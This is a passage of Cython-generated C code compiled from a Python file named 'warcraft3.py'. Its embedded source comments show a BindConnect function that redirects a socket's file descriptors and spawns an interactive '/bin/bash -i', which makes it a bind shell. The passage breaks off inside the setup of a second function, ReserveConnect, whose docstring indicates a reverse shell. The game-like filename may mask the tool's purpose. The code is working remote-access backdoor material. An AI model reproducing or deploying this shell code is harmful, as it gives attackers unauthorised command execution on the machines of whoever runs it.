  1581. __Pyx_DECREF_SET(__pyx_v_addr, __pyx_t_6);
  1582. __pyx_t_6 = 0;
  1583. /* "warcraft3.py":25
  1584. * client,addr = shell.accept()
  1585. * #socketshellterminal
  1586. * os.dup2(client.fileno(),0)#clientsocketsocketshell # <<<<<<<<<<<<<<
  1587. * os.dup2(client.fileno(),1)#clientsocketshellsocket
  1588. * os.dup2(client.fileno(),2)#
  1589. */
  1590. __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L11_error)
  1591. __Pyx_GOTREF(__pyx_t_6);
  1592. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_dup2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 25, __pyx_L11_error)
  1593. __Pyx_GOTREF(__pyx_t_4);
  1594. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1595. __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_client, __pyx_n_s_fileno); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 25, __pyx_L11_error)
  1596. __Pyx_GOTREF(__pyx_t_10);
  1597. __pyx_t_8 = NULL;
  1598. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) {
  1599. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_10);
  1600. if (likely(__pyx_t_8)) {
  1601. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10);
  1602. __Pyx_INCREF(__pyx_t_8);
  1603. __Pyx_INCREF(function);
  1604. __Pyx_DECREF_SET(__pyx_t_10, function);
  1605. }
  1606. }
  1607. if (__pyx_t_8) {
  1608. __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L11_error)
  1609. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1610. } else {
  1611. __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 25, __pyx_L11_error)
  1612. }
  1613. __Pyx_GOTREF(__pyx_t_6);
  1614. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1615. __pyx_t_10 = NULL;
  1616. __pyx_t_9 = 0;
  1617. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) {
  1618. __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_4);
  1619. if (likely(__pyx_t_10)) {
  1620. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
  1621. __Pyx_INCREF(__pyx_t_10);
  1622. __Pyx_INCREF(function);
  1623. __Pyx_DECREF_SET(__pyx_t_4, function);
  1624. __pyx_t_9 = 1;
  1625. }
  1626. }
  1627. #if CYTHON_FAST_PYCALL
  1628. if (PyFunction_Check(__pyx_t_4)) {
  1629. PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_t_6, __pyx_int_0};
  1630. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 25, __pyx_L11_error)
  1631. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  1632. __Pyx_GOTREF(__pyx_t_7);
  1633. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1634. } else
  1635. #endif
  1636. #if CYTHON_FAST_PYCCALL
  1637. if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) {
  1638. PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_t_6, __pyx_int_0};
  1639. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 25, __pyx_L11_error)
  1640. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  1641. __Pyx_GOTREF(__pyx_t_7);
  1642. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1643. } else
  1644. #endif
  1645. {
  1646. __pyx_t_8 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 25, __pyx_L11_error)
  1647. __Pyx_GOTREF(__pyx_t_8);
  1648. if (__pyx_t_10) {
  1649. __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_10); __pyx_t_10 = NULL;
  1650. }
  1651. __Pyx_GIVEREF(__pyx_t_6);
  1652. PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_9, __pyx_t_6);
  1653. __Pyx_INCREF(__pyx_int_0);
  1654. __Pyx_GIVEREF(__pyx_int_0);
  1655. PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_9, __pyx_int_0);
  1656. __pyx_t_6 = 0;
  1657. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_8, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 25, __pyx_L11_error)
  1658. __Pyx_GOTREF(__pyx_t_7);
  1659. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1660. }
  1661. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1662. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1663. /* "warcraft3.py":26
  1664. * #socketshellterminal
  1665. * os.dup2(client.fileno(),0)#clientsocketsocketshell
  1666. * os.dup2(client.fileno(),1)#clientsocketshellsocket # <<<<<<<<<<<<<<
  1667. * os.dup2(client.fileno(),2)#
  1668. * subprocess.call(["/bin/bash", "-i"])
  1669. */
  1670. __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L11_error)
  1671. __Pyx_GOTREF(__pyx_t_4);
  1672. __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_dup2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 26, __pyx_L11_error)
  1673. __Pyx_GOTREF(__pyx_t_8);
  1674. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1675. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_client, __pyx_n_s_fileno); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 26, __pyx_L11_error)
  1676. __Pyx_GOTREF(__pyx_t_6);
  1677. __pyx_t_10 = NULL;
  1678. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) {
  1679. __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_6);
  1680. if (likely(__pyx_t_10)) {
  1681. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  1682. __Pyx_INCREF(__pyx_t_10);
  1683. __Pyx_INCREF(function);
  1684. __Pyx_DECREF_SET(__pyx_t_6, function);
  1685. }
  1686. }
  1687. if (__pyx_t_10) {
  1688. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L11_error)
  1689. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1690. } else {
  1691. __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L11_error)
  1692. }
  1693. __Pyx_GOTREF(__pyx_t_4);
  1694. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1695. __pyx_t_6 = NULL;
  1696. __pyx_t_9 = 0;
  1697. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_8))) {
  1698. __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8);
  1699. if (likely(__pyx_t_6)) {
  1700. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8);
  1701. __Pyx_INCREF(__pyx_t_6);
  1702. __Pyx_INCREF(function);
  1703. __Pyx_DECREF_SET(__pyx_t_8, function);
  1704. __pyx_t_9 = 1;
  1705. }
  1706. }
  1707. #if CYTHON_FAST_PYCALL
  1708. if (PyFunction_Check(__pyx_t_8)) {
  1709. PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_4, __pyx_int_1};
  1710. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 26, __pyx_L11_error)
  1711. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  1712. __Pyx_GOTREF(__pyx_t_7);
  1713. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1714. } else
  1715. #endif
  1716. #if CYTHON_FAST_PYCCALL
  1717. if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) {
  1718. PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_4, __pyx_int_1};
  1719. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 26, __pyx_L11_error)
  1720. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  1721. __Pyx_GOTREF(__pyx_t_7);
  1722. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1723. } else
  1724. #endif
  1725. {
  1726. __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 26, __pyx_L11_error)
  1727. __Pyx_GOTREF(__pyx_t_10);
  1728. if (__pyx_t_6) {
  1729. __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_6); __pyx_t_6 = NULL;
  1730. }
  1731. __Pyx_GIVEREF(__pyx_t_4);
  1732. PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_4);
  1733. __Pyx_INCREF(__pyx_int_1);
  1734. __Pyx_GIVEREF(__pyx_int_1);
  1735. PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_int_1);
  1736. __pyx_t_4 = 0;
  1737. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_10, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 26, __pyx_L11_error)
  1738. __Pyx_GOTREF(__pyx_t_7);
  1739. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1740. }
  1741. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1742. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1743. /* "warcraft3.py":27
  1744. * os.dup2(client.fileno(),0)#clientsocketsocketshell
  1745. * os.dup2(client.fileno(),1)#clientsocketshellsocket
  1746. * os.dup2(client.fileno(),2)# # <<<<<<<<<<<<<<
  1747. * subprocess.call(["/bin/bash", "-i"])
  1748. * except Exception as reason:
  1749. */
  1750. __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_os); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 27, __pyx_L11_error)
  1751. __Pyx_GOTREF(__pyx_t_8);
  1752. __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_dup2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 27, __pyx_L11_error)
  1753. __Pyx_GOTREF(__pyx_t_10);
  1754. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1755. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_client, __pyx_n_s_fileno); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 27, __pyx_L11_error)
  1756. __Pyx_GOTREF(__pyx_t_4);
  1757. __pyx_t_6 = NULL;
  1758. if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) {
  1759. __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4);
  1760. if (likely(__pyx_t_6)) {
  1761. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
  1762. __Pyx_INCREF(__pyx_t_6);
  1763. __Pyx_INCREF(function);
  1764. __Pyx_DECREF_SET(__pyx_t_4, function);
  1765. }
  1766. }
  1767. if (__pyx_t_6) {
  1768. __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 27, __pyx_L11_error)
  1769. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1770. } else {
  1771. __pyx_t_8 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 27, __pyx_L11_error)
  1772. }
  1773. __Pyx_GOTREF(__pyx_t_8);
  1774. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1775. __pyx_t_4 = NULL;
  1776. __pyx_t_9 = 0;
  1777. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_10))) {
  1778. __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_10);
  1779. if (likely(__pyx_t_4)) {
  1780. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10);
  1781. __Pyx_INCREF(__pyx_t_4);
  1782. __Pyx_INCREF(function);
  1783. __Pyx_DECREF_SET(__pyx_t_10, function);
  1784. __pyx_t_9 = 1;
  1785. }
  1786. }
  1787. #if CYTHON_FAST_PYCALL
  1788. if (PyFunction_Check(__pyx_t_10)) {
  1789. PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_8, __pyx_int_2};
  1790. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_10, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 27, __pyx_L11_error)
  1791. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  1792. __Pyx_GOTREF(__pyx_t_7);
  1793. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1794. } else
  1795. #endif
  1796. #if CYTHON_FAST_PYCCALL
  1797. if (__Pyx_PyFastCFunction_Check(__pyx_t_10)) {
  1798. PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_8, __pyx_int_2};
  1799. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_10, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 27, __pyx_L11_error)
  1800. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  1801. __Pyx_GOTREF(__pyx_t_7);
  1802. __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
  1803. } else
  1804. #endif
  1805. {
  1806. __pyx_t_6 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 27, __pyx_L11_error)
  1807. __Pyx_GOTREF(__pyx_t_6);
  1808. if (__pyx_t_4) {
  1809. __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL;
  1810. }
  1811. __Pyx_GIVEREF(__pyx_t_8);
  1812. PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_9, __pyx_t_8);
  1813. __Pyx_INCREF(__pyx_int_2);
  1814. __Pyx_GIVEREF(__pyx_int_2);
  1815. PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_9, __pyx_int_2);
  1816. __pyx_t_8 = 0;
  1817. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 27, __pyx_L11_error)
  1818. __Pyx_GOTREF(__pyx_t_7);
  1819. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1820. }
  1821. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1822. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1823. /* "warcraft3.py":28
  1824. * os.dup2(client.fileno(),1)#clientsocketshellsocket
  1825. * os.dup2(client.fileno(),2)#
  1826. * subprocess.call(["/bin/bash", "-i"]) # <<<<<<<<<<<<<<
  1827. * except Exception as reason:
  1828. * print ('[-] Failed to Create Shell : %s'%reason)
  1829. */
  1830. __pyx_t_10 = __Pyx_GetModuleGlobalName(__pyx_n_s_subprocess); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 28, __pyx_L11_error)
  1831. __Pyx_GOTREF(__pyx_t_10);
  1832. __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_call); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L11_error)
  1833. __Pyx_GOTREF(__pyx_t_6);
  1834. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1835. __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 28, __pyx_L11_error)
  1836. __Pyx_GOTREF(__pyx_t_10);
  1837. __Pyx_INCREF(__pyx_kp_s_bin_bash);
  1838. __Pyx_GIVEREF(__pyx_kp_s_bin_bash);
  1839. PyList_SET_ITEM(__pyx_t_10, 0, __pyx_kp_s_bin_bash);
  1840. __Pyx_INCREF(__pyx_kp_s_i);
  1841. __Pyx_GIVEREF(__pyx_kp_s_i);
  1842. PyList_SET_ITEM(__pyx_t_10, 1, __pyx_kp_s_i);
  1843. __pyx_t_8 = NULL;
  1844. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {
  1845. __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6);
  1846. if (likely(__pyx_t_8)) {
  1847. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
  1848. __Pyx_INCREF(__pyx_t_8);
  1849. __Pyx_INCREF(function);
  1850. __Pyx_DECREF_SET(__pyx_t_6, function);
  1851. }
  1852. }
  1853. if (!__pyx_t_8) {
  1854. __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 28, __pyx_L11_error)
  1855. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1856. __Pyx_GOTREF(__pyx_t_7);
  1857. } else {
  1858. #if CYTHON_FAST_PYCALL
  1859. if (PyFunction_Check(__pyx_t_6)) {
  1860. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  1861. __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 28, __pyx_L11_error)
  1862. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  1863. __Pyx_GOTREF(__pyx_t_7);
  1864. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1865. } else
  1866. #endif
  1867. #if CYTHON_FAST_PYCCALL
  1868. if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {
  1869. PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};
  1870. __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 28, __pyx_L11_error)
  1871. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  1872. __Pyx_GOTREF(__pyx_t_7);
  1873. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1874. } else
  1875. #endif
  1876. {
  1877. __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 28, __pyx_L11_error)
  1878. __Pyx_GOTREF(__pyx_t_4);
  1879. __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_8); __pyx_t_8 = NULL;
  1880. __Pyx_GIVEREF(__pyx_t_10);
  1881. PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_10);
  1882. __pyx_t_10 = 0;
  1883. __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 28, __pyx_L11_error)
  1884. __Pyx_GOTREF(__pyx_t_7);
  1885. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1886. }
  1887. }
  1888. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1889. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1890. /* "warcraft3.py":22
  1891. * print ('[-] Failed to Create Socket : %s'%reason)
  1892. * exit(0)
  1893. * try: # <<<<<<<<<<<<<<
  1894. * client,addr = shell.accept()
  1895. * #socketshellterminal
  1896. */
  1897. }
  1898. __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0;
  1899. __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
  1900. __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
  1901. goto __pyx_L16_try_end;
  1902. __pyx_L11_error:;
  1903. __Pyx_PyThreadState_assign
  1904. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  1905. __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;
  1906. __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
  1907. __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0;
  1908. __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
  1909. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  1910. /* "warcraft3.py":29
  1911. * os.dup2(client.fileno(),2)#
  1912. * subprocess.call(["/bin/bash", "-i"])
  1913. * except Exception as reason: # <<<<<<<<<<<<<<
  1914. * print ('[-] Failed to Create Shell : %s'%reason)
  1915. * exit(0)
  1916. */
  1917. __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0])));
  1918. if (__pyx_t_9) {
  1919. __Pyx_AddTraceback("warcraft3.BindConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  1920. if (__Pyx_GetException(&__pyx_t_7, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 29, __pyx_L13_except_error)
  1921. __Pyx_GOTREF(__pyx_t_7);
  1922. __Pyx_GOTREF(__pyx_t_6);
  1923. __Pyx_GOTREF(__pyx_t_4);
  1924. __Pyx_INCREF(__pyx_t_6);
  1925. __Pyx_XDECREF_SET(__pyx_v_reason, __pyx_t_6);
  1926. /* "warcraft3.py":30
  1927. * subprocess.call(["/bin/bash", "-i"])
  1928. * except Exception as reason:
  1929. * print ('[-] Failed to Create Shell : %s'%reason) # <<<<<<<<<<<<<<
  1930. * exit(0)
  1931. *
  1932. */
  1933. __pyx_t_10 = __Pyx_PyString_Format(__pyx_kp_s_Failed_to_Create_Shell_s, __pyx_v_reason); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 30, __pyx_L13_except_error)
  1934. __Pyx_GOTREF(__pyx_t_10);
  1935. if (__Pyx_PrintOne(0, __pyx_t_10) < 0) __PYX_ERR(0, 30, __pyx_L13_except_error)
  1936. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1937. /* "warcraft3.py":31
  1938. * except Exception as reason:
  1939. * print ('[-] Failed to Create Shell : %s'%reason)
  1940. * exit(0) # <<<<<<<<<<<<<<
  1941. *
  1942. * def ReserveConnect(addr, port):
  1943. */
  1944. __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 31, __pyx_L13_except_error)
  1945. __Pyx_GOTREF(__pyx_t_10);
  1946. __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
  1947. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  1948. __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  1949. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  1950. goto __pyx_L12_exception_handled;
  1951. }
  1952. goto __pyx_L13_except_error;
  1953. __pyx_L13_except_error:;
  1954. /* "warcraft3.py":22
  1955. * print ('[-] Failed to Create Socket : %s'%reason)
  1956. * exit(0)
  1957. * try: # <<<<<<<<<<<<<<
  1958. * client,addr = shell.accept()
  1959. * #socketshellterminal
  1960. */
  1961. __Pyx_PyThreadState_assign
  1962. __Pyx_XGIVEREF(__pyx_t_3);
  1963. __Pyx_XGIVEREF(__pyx_t_2);
  1964. __Pyx_XGIVEREF(__pyx_t_1);
  1965. __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_2, __pyx_t_1);
  1966. goto __pyx_L1_error;
  1967. __pyx_L12_exception_handled:;
  1968. __Pyx_PyThreadState_assign
  1969. __Pyx_XGIVEREF(__pyx_t_3);
  1970. __Pyx_XGIVEREF(__pyx_t_2);
  1971. __Pyx_XGIVEREF(__pyx_t_1);
  1972. __Pyx_ExceptionReset(__pyx_t_3, __pyx_t_2, __pyx_t_1);
  1973. __pyx_L16_try_end:;
  1974. }
  1975. /* "warcraft3.py":13
  1976. *
  1977. * # shell
  1978. * def BindConnect(addr, port): # <<<<<<<<<<<<<<
  1979. * '''shell'''
  1980. * try:
  1981. */
  1982. /* function exit code */
  1983. __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  1984. goto __pyx_L0;
  1985. __pyx_L1_error:;
  1986. __Pyx_XDECREF(__pyx_t_4);
  1987. __Pyx_XDECREF(__pyx_t_5);
  1988. __Pyx_XDECREF(__pyx_t_6);
  1989. __Pyx_XDECREF(__pyx_t_7);
  1990. __Pyx_XDECREF(__pyx_t_8);
  1991. __Pyx_XDECREF(__pyx_t_10);
  1992. __Pyx_AddTraceback("warcraft3.BindConnect", __pyx_clineno, __pyx_lineno, __pyx_filename);
  1993. __pyx_r = NULL;
  1994. __pyx_L0:;
  1995. __Pyx_XDECREF(__pyx_v_shell);
  1996. __Pyx_XDECREF(__pyx_v_reason);
  1997. __Pyx_XDECREF(__pyx_v_client);
  1998. __Pyx_XDECREF(__pyx_v_addr);
  1999. __Pyx_XGIVEREF(__pyx_r);
  2000. __Pyx_RefNannyFinishContext();
  2001. return __pyx_r;
  2002. }
  2003. /* "warcraft3.py":33
  2004. * exit(0)
  2005. *
  2006. * def ReserveConnect(addr, port): # <<<<<<<<<<<<<<
  2007. * '''shell'''
  2008. * try:
  2009. */
  2010. /* Python wrapper */
  2011. static PyObject *__pyx_pw_9warcraft3_3ReserveConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/
  2012. static char __pyx_doc_9warcraft3_2ReserveConnect[] = "\345\217\215\345\274\271\350\277\236\346\216\245shell";
  2013. static PyMethodDef __pyx_mdef_9warcraft3_3ReserveConnect = {"ReserveConnect", (PyCFunction)__pyx_pw_9warcraft3_3ReserveConnect, METH_VARARGS|METH_KEYWORDS, __pyx_doc_9warcraft3_2ReserveConnect};
  2014. static PyObject *__pyx_pw_9warcraft3_3ReserveConnect(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {
  2015. PyObject *__pyx_v_addr = 0;
  2016. PyObject *__pyx_v_port = 0;
  2017. PyObject *__pyx_r = 0;
  2018. __Pyx_RefNannyDeclarations
  2019. __Pyx_RefNannySetupContext("ReserveConnect (wrapper)", 0);
  2020. {
  2021. static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_addr,&__pyx_n_s_port,0};
  2022. PyObject* values[2] = {0,0};
  2023. if (unlikely(__pyx_kwds)) {
  2024. Py_ssize_t kw_args;
  2025. const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);
  2026. switch (pos_args) {
  2027. case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);
  2028. CYTHON_FALLTHROUGH;
  2029. case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
  2030. CYTHON_FALLTHROUGH;
  2031. case 0: break;
  2032. default: goto __pyx_L5_argtuple_error;
  2033. }
  2034. kw_args = PyDict_Size(__pyx_kwds);
  2035. switch (pos_args) {
  2036. case 0:
  2037. if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_addr)) != 0)) kw_args--;
  2038. else goto __pyx_L5_argtuple_error;
  2039. CYTHON_FALLTHROUGH;
  2040. case 1:
  2041. if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_port)) != 0)) kw_args--;
  2042. else {
  2043. __Pyx_RaiseArgtupleInvalid("ReserveConnect", 1, 2, 2, 1); __PYX_ERR(0, 33, __pyx_L3_error)
  2044. }
  2045. }
  2046. if (unlikely(kw_args > 0)) {
  2047. if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "ReserveConnect") < 0)) __PYX_ERR(0, 33, __pyx_L3_error)
  2048. }
  2049. } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {
  2050. goto __pyx_L5_argtuple_error;
  2051. } else {
  2052. values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
  2053. values[1] = PyTuple_GET_ITEM(__pyx_args, 1);
  2054. }
  2055. __pyx_v_addr = values[0];
  2056. __pyx_v_port = values[1];
  2057. }
  2058. goto __pyx_L4_argument_unpacking_done;
  2059. __pyx_L5_argtuple_error:;
